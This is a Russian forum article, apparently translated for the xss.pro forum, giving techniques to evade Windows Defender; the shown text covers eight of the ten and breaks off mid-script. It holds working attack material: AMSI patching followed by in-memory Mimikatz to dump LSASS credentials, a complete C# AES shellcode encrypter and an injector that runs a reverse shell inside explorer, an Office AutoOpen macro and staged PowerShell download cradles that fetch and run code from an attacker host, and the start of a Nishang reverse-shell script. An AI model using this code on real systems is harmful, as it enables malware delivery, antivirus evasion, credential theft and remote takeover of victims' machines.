Статья Обход Windows Defender (10 способов)

Marcus Aurelius

HDD-drive
Пользователь
Регистрация
02.04.2021
Сообщения
27
Реакции
79
Обход Защитника Windows (10 способов)

ОРИГИНАЛЬНАЯ СТАТЬЯ: Bypassing Windows Defender (10 Ways)
ПЕРЕВЕДЕНО для xss.pro by Marcus Aurelius

Введение

В этой статье я расскажу о 10 способах/техниках обхода полностью обновленной системы Windows с актуальными данными Windows Defender с целью выполнения произвольного кода (кроме разрешений/ACL).

Для тестирования использовалась следующая конфигурация:
  • AWS EC2 с Ubuntu Linux AMI в качестве атакующего C2-сервера.
  • AWS EC2 с Windows Server 2019 AMI в качестве машины жертвы.
  • Локальная машина Windows 10 с Visual Studio 2022 Community для разработки/компиляции вредоносного ПО.
  • Локальная машина Kali Linux для атаки.
Обратите внимание, что я не буду слишком углубляться во многие концепции и в основном буду исходить из базовых знаний. Кроме того, я не стал выбирать слишком сложные техники, например, прямые вызовы системы (direct syscalls) или аппаратные точки останова (hardware breakpoints), поскольку это чрезмерно для антивирусов, и в любом случае их лучше описать в отдельной статье, посвященной EDR.

Отказ от ответственности: Информация, представленная в этой статье, предназначена исключительно для образовательных и этических целей. Описанные техники и инструменты предназначены для законного и ответственного использования с явного согласия владельца целевой системы. Любое несанкционированное или злонамеренное использование этих техник и инструментов строго запрещено и может привести к юридическим последствиям. Я не несу ответственности за любой ущерб или юридические проблемы, которые могут возникнуть в результате неправильного использования предоставленной информации.


1. In-Memory AMSI/ETW patching

Первый метод, который я хотел бы объяснить, также является тем, который я лично использую чаще всего, так как он очень удобен и быстр в исполнении.

AMSI, или AntiMalware Scan Interface, - это независимый от производителя элемент управления безопасностью Windows, который сканирует PowerShell, wscript, cscript, макросы Office и т.д. и отправляет телеметрию поставщику безопасности (в нашем случае Defender), чтобы тот решил, является ли она вредоносной или нет.

ETW, или Event Tracing for Windows, - это еще один механизм безопасности, который регистрирует события, происходящие в пользовательском режиме и драйверах ядра. Поставщики могут анализировать эту информацию, полученную от процесса, чтобы решить, имеет ли он вредоносные намерения или нет.

К сожалению, Windows Defender работает с очень малым количеством телеметрии, поступающей от сеансов PowerShell. В частности, исправление AMSI для текущего процесса позволит нам выполнять любые вредоносные программы без файлов, включая инструменты (Mimikatz, Rubeus и т.д.) и ревер-шеллы.

Для доказательства концепции я буду использовать встроенную функцию evil-winrm Bypass-4MSI, но очень легко создать собственный патчер AMSI/ETW в виде сценария PowerShell или исполняемого файла, как мы увидим позже.

Таким образом, цепочка kill для дампа In-Memory logons с Mimikatz из процесса LSASS работает следующим образом:

In-Memory AMSI Patching PoC
1.PNG


Для лучшего понимания набор команд может быть объяснен на более высоком уровне следующим образом:
  • Попробуйте написать известный триггер "Invoke-Mimikatz" как способ проверить, активен ли Defender.
  • Выполните функцию evil-winrm Bypass-4MSI для исправления AMSI в текущем сеансе PowerShell.
  • Снова вызовите триггер AV, чтобы проверить, работает ли телеметрия AMSI (как мы видим, уже нет).
  • Загрузите реальный модуль Invoke-Mimikatz PowerShell в память с помощью Invoke-Expression.
  • Выполните Mimikatz для дампа паролей входа в систему из LSASS.
Обратите внимание, что выполнение Mimikatz было просто в демонстрационных целях, но вы можете делать практически все, что хотите из терминала PowerShell без телеметрии AMSI.


2. Обфускация кода

Обфускация кода обычно не нужна или не стоит тратить на нее время для изначально компилируемых языков, таких как C/C++, поскольку компилятор в любом случае будет применять множество оптимизаций. Но большая часть вредоносных программ и инструментов написана на C# и, иногда, Java. Эти языки компилируются в байткод/MSIL/CIL, который легко поддается реверс-инженерии. Это означает, что вам придется применить некоторую обфускацию кода, чтобы избежать обнаружения сигнатур.

Существует множество обфускаторов с открытым исходным кодом, но я буду основывать доказательство концепции этого раздела на инструменте обфускатора InvisibilityCloak C# от h4wkst3r.

Например, используя инструмент GhostPack's Certify, который обычно используется для поиска уязвимых сертификатов в домене, мы можем использовать вышеупомянутый инструмент для обхода защитника следующим образом.

Убедитесь, что Defender запущен и блокирует сборку Certify по умолчанию
2_1.png


Обфускация кода Certify с помощью InvisibilityCloak
2_2.png


Попытайтесь запустить обфусцированный Certify
2_3.png


Мы видим, что теперь все работает без проблем, однако выдает ошибку, поскольку виртуальная машина не подключена к домену или не является контроллером домена.

Мы можем сделать вывод, что все получилось, однако, обратите внимание, что некоторые инструменты могут нуждаться в более глубокой обфускации, чем другие. Например, в данном случае я выбрал Certify вместо Rubeus, поскольку это было проще для простых демонстрационных целей.


3. Обфускация во время компиляции

Для изначально компилируемых языков, таких как C, C++, Rust и т.д., вы можете использовать обфускацию во время компиляции, чтобы скрыть реальное поведение подпрограмм и общий поток инструкций.

В зависимости от языка, могут существовать различные методы. Поскольку для разработки вредоносных программ я использую C++, я расскажу о двух из них, которые я пробовал: обфускация LLVM и метапрограммирование шаблонов.

Для обфускации LLVM самым большим публичным инструментом в настоящее время является Obfuscator-LLVM. Этот проект представляет собой форк LLVM, который добавляет уровень безопасности через обфускацию к создаваемым двоичным файлам. В настоящее время реализованы следующие дополнительные возможности:
  • Подмена инструкций. Обфускация инструкций ассемблера для получения эквивалентного поведения при большей вычислительной сложности.
  • Поддельный поток управления. Добавление нежелательных блоков инструкций для скрытия оригинального потока кода инструкций.
  • Сглаживание потока управления. Делает ветвления и переходы более трудно предсказуемыми для того, чтобы скрыть намеренный поток инструкций.
В заключение можно сказать, что инструмент генерирует двоичные файлы, которые в целом гораздо труднее поддаются статическому анализу человеком/антивирусами/EDRs.

С другой стороны, метапрограммирование шаблонов - это техника C++, которая позволяет разработчикам создавать шаблоны, генерирующие исходный код во время компиляции. Это дает возможность генерировать различные двоичные файлы при каждой компиляции, создавать бесконечное количество ветвей и блоков кода и т.д.

Два общедоступных фреймворка, которые я знаю и использовал для этой цели, следующие:

Для данного PoC я буду использовать второй, так как считаю его более простым в использовании.

Более того, для PoC я буду использовать AMSI_patch от TheD1rkMtr в качестве двоичного файла по умолчанию для обфускации, так как это довольно простой проект на C++. Код обфусцированного двоичного файла можно найти здесь.

Сначала давайте посмотрим на базовое дерево бинарных функций под Ghidra.

Дерево двоичных функций по умолчанию
3.png


Как мы видим, его не так уж сложно проанализировать. И вы можете найти главную функцию под 3-й рутиной FUN_.

Главная функция бинарной функции по умолчанию
3_2.png


Которая выглядит довольно простой для анализа и понимания ее поведения (патч AMSI через AMSIOpenSession в данном случае).

Теперь давайте посмотрим на обфусцированное дерево бинарных функций.

Обфусцированное дерево бинарных функций

3_3.png


Это дерево выглядит безумно сложным для статического анализа, поскольку в нем много вложенных функций. И, как мы видим, это представленные функции, основанные на шаблонах.

Обфусцированная бинарная функция мусора

3_4.png


Это простые junk-функции, но очень полезные для сокрытия реального поведения.

Теперь для финального теста давайте попробуем это на реальной системе Windows для PoC. Обратите внимание, поскольку двоичный файл исправляет AMSI для данного процесса через PID в качестве параметра, PoC будет очень похож на первый метод; исправление AMSI для текущего сеанса PowerShell, чтобы обойти сканирование Defender в памяти.

Обфускация во время компиляции PoC
3_5.png


И, как мы видим, это сработало, Defender не остановил бинарник ни статически, ни во время выполнения, что позволяет нам удаленно исправлять AMSI для процесса.


4. Обфускация/упаковка бинарных файлов

Когда вы уже сгенерировали двоичный файл, ваши опции, в основном, сводятся к следующему:
  • Обфускация ассемблерных инструкций двоичного файла.
  • Упаковка двоичного файла(-ов).
  • Шифрование содержимого двоичного файла для его расшифровки во время выполнения.
  • Как вариант, преобразование в шеллкод для последующей манипуляции и инъекции.
Начиная с первого, у нас есть несколько вариантов с открытым исходным кодом, включая, например:

На высоком уровне, Alcatraz работает путем изменения сборки двоичного файла несколькими способами, такими как обфускация потока управления, добавление нежелательных инструкций, неоптимизация инструкций и скрытие реальной точки входа до выполнения.

С другой стороны, Metame работает, используя случайность для генерации различных сборок (хотя всегда с эквивалентным поведением) при каждом запуске. Это более известно как метаморфический код и часто используется в настоящих вредоносных программах.

Наконец, ROPfuscator работает, как видно из названия, используя программирование, ориентированное на возврат, для создания ROP-гаджетов и цепочек из исходного кода, таким образом скрывая исходный поток кода от статического анализа и, возможно, даже динамического, поскольку эвристикам будет сложнее анализировать последовательные вредоносные вызовы. Следующее изображение лучше описывает весь процесс.

Архитектура ROPfuscator

rop.png


Источник: https://github.com/ropfuscator/ropfuscator/blob/master/docs/architecture.svg

Продолжая тему бинарной упаковки, базовая архитектура упаковщика может быть описана следующим изображением.

Архитектура упаковщика PE
4_2.png

Источник: https://www.researchgate.net/public...ked_executables_using_support_vector_machines

В этом процессе данный инструмент упаковщика встраивает скомпилированный PE в другой исполняемый файл, который содержит информацию, необходимую для распаковки исходного содержимого и его выполнения. Пожалуй, самым известным упаковщиком, который даже не предназначен для вредоносных целей, является пакет UPX от Golang.

Более того, PE Crypter работает путем шифрования содержимого исполняемого файла и создания исполняемого файла, который расшифровывает оригинальный PE во время выполнения. Это очень полезно против антивирусных программ, поскольку большинство из них полагаются на статический анализ, а не на поведение во время выполнения (как EDR). Таким образом, полное сокрытие содержимого исполняемого файла до времени выполнения может быть очень эффективным, если только AV не сгенерировал сигнатуры против методов шифрования/дешифрования, что и произошло в случае, когда я пробовал использовать nimpcrypt.

Наконец, у нас также есть возможность преобразовать нативный PE обратно в шеллкод. Это можно сделать, например, с помощью инструмента hasherezade's pe_to_shellcode.

Объяснив теперь все возможные способы обхода антивирусных программ, начиная с исполняемого файла, я хотел бы упомянуть фреймворк, объединяющий все шаги в одном инструменте: inceptor от KlezVirus. Инструмент может оказаться очень сложным, и большинство шагов не нужны для простого обхода Defender, но его можно лучше объяснить с помощью следующего рисунка:

Архитектура Inceptor
4_3.png

Источник: https://github.com/klezVirus/inceptor

В отличие от предыдущих инструментов, Inceptor позволяет разработчику создавать собственные шаблоны, которые будут модифицировать двоичный файл на каждом этапе рабочего процесса, так что, даже если подпись генерируется для публичного шаблона, вы можете иметь свои собственные частные шаблоны для обхода хуков EDR, исправления AMSI/ETW, использования аппаратных точек останова, использования прямых системных вызовов вместо DLL в памяти и т.д.


5. Зашифрованная инъекция шеллкода

Инъекция шеллкода - это очень известная техника, которая заключается во вставке/инъекции позиционно-независимого шеллкода в данный жертвенный процесс, чтобы в итоге выполнить его в памяти. Это может быть выполнено различными способами. Смотрите следующее изображение для хорошего обзора общеизвестных способов.

Методы инъекции в процесс
5_1.png

Источник: https://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html

Однако в этой статье я буду обсуждать и демонстрировать следующий метод:
  1. Использование Process.GetProcessByName, чтобы найти процесс explorer и получить его PID.
  2. Открытие процесса через OpenProcess с правом доступа 0x001F0FFF.
  3. Выделение памяти в процессе explorer для нашего шеллкода с помощью VirtualAllocEx.
  4. Запись шеллкода в процесс через WriteProcessMemory.
  5. Наконец, создание потока, который будет выполнять наш позиционно-независимый шеллкод с помощью CreateRemoteThread.

Конечно, иметь исполняемый файл, содержащий вредоносный шеллкод, было бы очень плохой идеей, так как он будет немедленно отмечен Defender. Для борьбы с этим мы сначала зашифруем шеллкод с помощью AES-128 CBC и PKCS7 padding, чтобы скрыть его реальное поведение и структуру до момента выполнения (где Defender действительно слаб).

Сначала нам нужно будет сгенерировать начальный шеллкод. Для доказательства концепции я буду использовать простую обратную оболочку TCP от msfvenom.

Генерация начального шеллкода PI
5_2.png


Как только мы его получили, нам понадобится способ его зашифровать. Для этого я буду использовать следующий код на C#, но не стесняйтесь шифровать его другим способом (например, cyberchef).

Encrypter.cs
C#:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace AesEnc
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
            byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
            byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
            byte[] aesshell = EncryptShell(buf, Key, IV);
            StringBuilder hex = new StringBuilder(aesshell.Length * 2);
            int totalCount = aesshell.Length;
            foreach (byte b in aesshell)
            {
                if ((b + 1) == totalCount)
                {
                    hex.AppendFormat("0x{0:x2}", b);
                }
                else
                {
                    hex.AppendFormat("0x{0:x2}, ", b);
                }
            }
            Console.WriteLine(hex);
          
        }

        private static byte[] GetIV(int num)
        {
            var randomBytes = new byte[num];
            using (var rngCsp = new RNGCryptoServiceProvider())
            {
                rngCsp.GetBytes(randomBytes);
            }

            return randomBytes;
        }

        private static byte[] GetKey(int size)
        {
            char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray();
            byte[] CKey = new byte[size];
            using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
            {
                crypto.GetBytes(CKey);
            }
            return CKey;
        }

        private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 128;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Mode = CipherMode.CBC;
                aes.Key = key;
                aes.IV = iv;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
                {
                    return AESEncryptedShellCode(CShellcode, encryptor);
                }
            }
        }

        private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
        {
            using (var msEncShellCode = new MemoryStream())
            using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(CShellcode, 0, CShellcode.Length);
                cryptoStream.FlushFinalBlock();
                return msEncShellCode.ToArray();
            }
        }
    }
}

Компиляция и запуск приведенного выше кода с исходным шеллкодом в переменной "buf" выплюнет зашифрованные байты, которые мы будем использовать в нашей программе-инжекторе.

Для этого PoC я также выбрал C# в качестве языка для инжектора, но вы можете использовать любой другой язык, поддерживающий Win32 API (C/C++, Rust и т.д.).

Наконец, код, который будет использоваться для инжектора, выглядит следующим образом:

Injector.cs

C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace AESInject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
        processId);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentProcess();
        
        static void Main(string[] args)
        {
            byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
            byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
            byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here
            byte[] DShell = AESDecrypt(buf, Key, IV);
            StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
            foreach (byte b in DShell)
            {
                hexCodes.AppendFormat("0x{0:x2},", b);
            }
            int size = DShell.Length;
            Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
            int pid = expProc[0].Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

        }

        private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 128;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Mode = CipherMode.CBC;
                aes.Key = key;
                aes.IV = iv;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
                {
                    return GetDecrypt(CEncryptedShell, decryptor);
                }
            }
        }
        private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
        {
            using (var ms = new MemoryStream())
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(data, 0, data.Length);
                cryptoStream.FlushFinalBlock();
                return ms.ToArray();
            }
        }
    }

}

Для этой статьи я скомпилировал программу с зависимостями для удобства переноса на EC2, но не стесняйтесь скомпилировать ее в автономный двоичный файл, который будет занимать около 50-60 МБ.

Наконец, мы можем настроить слушателя с помощью netcat на машине атакующего/C2 и выполнить инжектор на машине жертвы:

Выполнение инжектора
5_3.png


Получение реверс-шелла
5_4.png



6. Загрузка шеллкода Donut

Проект Donut от TheWover - это очень эффективный генератор позиционно-независимого шеллкода из PEs/DLL. В зависимости от заданного входного файла, он работает по-разному. Для этого PoC я буду использовать Mimikatz, поэтому давайте посмотрим, как он работает на высоком уровне. Из беглого взгляда на код, это будет основная процедура исполняемого инструмента Donut.exe:

Возможная основная рутина/функция Donut из файла donut.c
C:
// 1. validate the loader configuration
    err = validate_loader_cfg(c);
    if(err == DONUT_ERROR_OK) {
      // 2. get information about the file to execute in memory
      err = read_file_info(c);
      if(err == DONUT_ERROR_OK) {
        // 3. validate the module configuration
        err = validate_file_cfg(c);
        if(err == DONUT_ERROR_OK) {
          // 4. build the module
          err = build_module(c);
          if(err == DONUT_ERROR_OK) {
            // 5. build the instance
            err = build_instance(c);
            if(err == DONUT_ERROR_OK) {
              // 6. build the loader
              err = build_loader(c);
              if(err == DONUT_ERROR_OK) {
                // 7. save loader and any additional files to disk
                err = save_loader(c);
              }
            }
          }
        }
      }
    }
    // if there was some error, release resources
    if(err != DONUT_ERROR_OK) {
      DonutDelete(c);
    }

Из всех этих функций, пожалуй, наиболее интересной является build_loader, которая содержит следующий код:

build_loader function
C:
uint8_t *pl;
    uint32_t t;
    
    // target is x86?
    if(c->arch == DONUT_ARCH_X86) {
      c->pic_len = sizeof(LOADER_EXE_X86) + c->inst_len + 32;
    } else
    // target is amd64?
    if(c->arch == DONUT_ARCH_X64) {
      c->pic_len = sizeof(LOADER_EXE_X64) + c->inst_len + 32;
    } else
    // target can be both x86 and amd64?
    if(c->arch == DONUT_ARCH_X84) {
      c->pic_len = sizeof(LOADER_EXE_X86) +
                   sizeof(LOADER_EXE_X64) + c->inst_len + 32;
    }
    // allocate memory for shellcode
    c->pic = malloc(c->pic_len);
    
    if(c->pic == NULL) {
      DPRINT("Unable to allocate %" PRId32 " bytes of memory for loader.", c->pic_len);
      return DONUT_ERROR_NO_MEMORY;
    }
    
    DPRINT("Inserting opcodes");
    
    // insert shellcode
    pl = (uint8_t*)c->pic;
    
    // call $ + c->inst_len
    PUT_BYTE(pl,  0xE8);
    PUT_WORD(pl,  c->inst_len);
    PUT_BYTES(pl, c->inst, c->inst_len);
    // pop ecx
    PUT_BYTE(pl,  0x59);
    
    // x86?
    if(c->arch == DONUT_ARCH_X86) {
      // pop edx
      PUT_BYTE(pl, 0x5A);
      // push ecx
      PUT_BYTE(pl, 0x51);
      // push edx
      PUT_BYTE(pl, 0x52);
      
      DPRINT("Copying %" PRIi32 " bytes of x86 shellcode",
        (uint32_t)sizeof(LOADER_EXE_X86));
        
      PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
    } else
    // AMD64?
    if(c->arch == DONUT_ARCH_X64) {
      
      DPRINT("Copying %" PRIi32 " bytes of amd64 shellcode",
        (uint32_t)sizeof(LOADER_EXE_X64));

      // ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
      
      // and rsp, -0x10
      PUT_BYTE(pl, 0x48);
      PUT_BYTE(pl, 0x83);
      PUT_BYTE(pl, 0xE4);
      PUT_BYTE(pl, 0xF0);
      // push rcx
      // this is just for alignment, any 8 bytes would do
      PUT_BYTE(pl, 0x51);

      PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
    } else
    // x86 + AMD64?
    if(c->arch == DONUT_ARCH_X84) {
      
      DPRINT("Copying %" PRIi32 " bytes of x86 + amd64 shellcode",
        (uint32_t)(sizeof(LOADER_EXE_X86) + sizeof(LOADER_EXE_X64)));
        
      // xor eax, eax
      PUT_BYTE(pl, 0x31);
      PUT_BYTE(pl, 0xC0);
      // dec eax
      PUT_BYTE(pl, 0x48);
      // js dword x86_code
      PUT_BYTE(pl, 0x0F);
      PUT_BYTE(pl, 0x88);
      PUT_WORD(pl,  sizeof(LOADER_EXE_X64) + 5);
      
      // ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
      
      // and rsp, -0x10
      PUT_BYTE(pl, 0x48);
      PUT_BYTE(pl, 0x83);
      PUT_BYTE(pl, 0xE4);
      PUT_BYTE(pl, 0xF0);
      // push rcx
      // this is just for alignment, any 8 bytes would do
      PUT_BYTE(pl, 0x51);

      PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
      // pop edx
      PUT_BYTE(pl, 0x5A);
      // push ecx
      PUT_BYTE(pl, 0x51);
      // push edx
      PUT_BYTE(pl, 0x52);
      PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
    }
    return DONUT_ERROR_OK;

Опять же, судя по краткому анализу, эта подпрограмма создает/подготавливает позиционно-независимый шеллкод на основе оригинального исполняемого файла для последующей инъекции, вставляя ассемблерные инструкции для выравнивания стека на основе каждой архитектуры и заставляя поток кода переходить к оригинальному шеллкоду исполняемого файла. Обратите внимание, что это может быть не самый обновленный код, так как последний коммит этого файла был в декабре 2022 года, а последний релиз - в марте 2023 года. Но это дает хорошее представление о том, как это работает.

Наконец, переходя к доказательству концепции этого раздела, я буду выполнять стандартный Mimikatz, полученный непосредственно из репозитория gentilkiwi, внедряя шеллкод в локальный процесс powershell. Для этого нам нужно сначала сгенерировать PI-код.

Выполнение инжектора
6_1.png


После того как шеллкод сгенерирован, мы можем использовать для этой цели любой инжектор. К счастью, последняя версия уже поставляется с локальным (для процесса, который его выполняет) и удаленным (для другого процесса) инжектором, для которого Microsoft еще не создала сигнатуры, поэтому я буду использовать именно его.

Выполнение инжектора
6_2.png



7. Пользовательские инструменты

Такие инструменты, как Mimikatz, Rubeus, Certify, PowerView, BloodHound и т.д., популярны не просто так: они реализуют множество функциональных возможностей в одном пакете. Это очень полезно для злоумышленников, поскольку они могут автоматизировать распространение вредоносного ПО с помощью всего нескольких инструментов. Однако это также означает, что производителям очень легко отключить весь инструмент, зарегистрировав его сигнатурные байты (например, строки меню, имена классов/пространств имен в C# и т.д.).

Чтобы противостоять этому, возможно, нам не нужен целый инструмент размером 2-5 МБ, полный зарегистрированных сигнатур для выполнения одной или двух нужных нам функций. Например, для дампа паролей/хэшей входа в систему мы можем использовать весь проект Mimikatz с функцией sekurlsa::logonpasswords, но мы также можем запрограммировать свой собственный дампер и парсер LSASS совершенно другим способом, но с похожим поведением и вызовами API.

Для первого примера я буду использовать LsaParser от Cracked5pider.

Выполнение LsaParser
7_1.png


К сожалению, он не разработан для Windows Server, поэтому мне пришлось использовать его на моей локальной Windows 10, но вы поняли идею.

Для второго примера предположим, что нашей целью является перечисление общих ресурсов во всем домене Active Directory. Для этого мы могли бы использовать Find-DomainShare от PowerView, однако это один из самых известных инструментов с открытым исходным кодом, поэтому, чтобы быть более скрытными, мы можем разработать собственный инструмент поиска ресурсов на основе встроенного API Windows, как показано ниже.

RemoteShareEnum.cpp
C++:
#include <windows.h>
#include <stdio.h>
#include <lm.h>

#pragma comment(lib, "Netapi32.lib")

int wmain(DWORD argc, WCHAR* lpszArgv[])
{

    PSHARE_INFO_502 BufPtr, p;
    PSHARE_INFO_1 BufPtr2, p2;
    NET_API_STATUS res;
    LPTSTR   lpszServer = NULL;
    DWORD er = 0, tr = 0, resume = 0, i,denied=0;
    switch (argc)
    {
    case 1:
        wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n");
        return 1;

    default:
        break;
    }
    wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n");
    wprintf(L"-------------------------------------------------------------------------------------\n\n");
    for (DWORD iter = 1; iter <= argc-1; iter++) {
        lpszServer = lpszArgv[iter];
        do
        {
            res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
            if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
            {
                p = BufPtr;
                for (i = 1; i <= er; i++)
                {
                    wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);
                    p++;
                }
                NetApiBufferFree(BufPtr);
            }
            else if (res == ERROR_ACCESS_DENIED) {
                denied = 1;
            }
            else
            {
                wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res);
            }
        }
        while (res == ERROR_MORE_DATA);
        if (denied == 1) {
            do
            {
                res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);
                if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
                {
                    p2 = BufPtr2;
                    for (i = 1; i <= er; i++)
                    {
                        wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark,  lpszServer);
                        p2++;
                    }

                    NetApiBufferFree(BufPtr2);
                }
                else
                {
                    wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res);
                }

            }
            while (res == ERROR_MORE_DATA);
            denied = 0;
        }

        wprintf(L"-------------------------------------------------------------------------------------\n\n");
    }
    return 0;

}

Этот инструмент на высоком уровне использует функцию NetShareEnum из Win32 API для удаленного получения общих ресурсов, обслуживаемых с любых конечных точек входа. По умолчанию он пытается использовать привилегированный уровень доступа SHARE_INFO_502, который показывает некоторую дополнительную информацию, такую как путь к диску, количество соединений и т.д. В случае неудачи он возвращается к уровню доступа SHARE_INFO_1, который показывает только имя ресурса, но может быть перечислен любым непривилегированным пользователем (если только специфический ACL не блокирует его).

Не стесняйтесь использовать этот инструмент, доступный здесь.

Теперь мы можем использовать его следующим образом:

Выполнение RemoteShareEnum
7_2.png


Конечно, создание собственных инструментов может быть очень затратной по времени задачей, а также требует очень глубоких знаний внутреннего устройства Windows, но это потенциально может победить все остальные методы, представленные в этой статье. Поэтому его следует принимать во внимание, если все остальное не работает. Тем не менее, я считаю, что это чрезмерно для Defender/AVs, и лучше подходит для уклонения от EDR, поскольку вы можете контролировать и включать свой собственный выбор вызовов API, точек останова, порядка, нежелательных данных/инструкций, обфускации и т.д.


8. Инсценировка полезной нагрузки

Разбиение полезной нагрузки на последовательные этапы - отнюдь не новая техника, и она часто используется субъектами угроз для распространения вредоносного ПО, которое обходит первоначальный статический анализ. Это происходит потому, что настоящая вредоносная полезная нагрузка будет извлечена и выполнена на более поздней стадии, где статический анализ может не успеть сработать.

В данном PoC я продемонстрирую очень простой, но эффективный способ создания реверс-шелла, который может быть использован, например, для создания вредоносного файла Office с помощью следующего макроса:

Макрос для выполнения первого этапа
Код:
Sub AutoOpen()
Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")
End Sub

Это, конечно же, не будет обнаружено антивирусом статически, поскольку он просто выполняет внешне безопасную команду.

Поскольку у меня не установлен Office, я буду эмулировать процесс фишинга, вручную выполняя указанную команду в сценарии PowerShell.

Наконец, доказательством концепции этого раздела является следующее:

stage0.txt (это будет команда, выполняемая в фишинговом макросе)
Код:
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")


stage1.txt

Код:
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")

stage2.txt

Код:
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>     
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

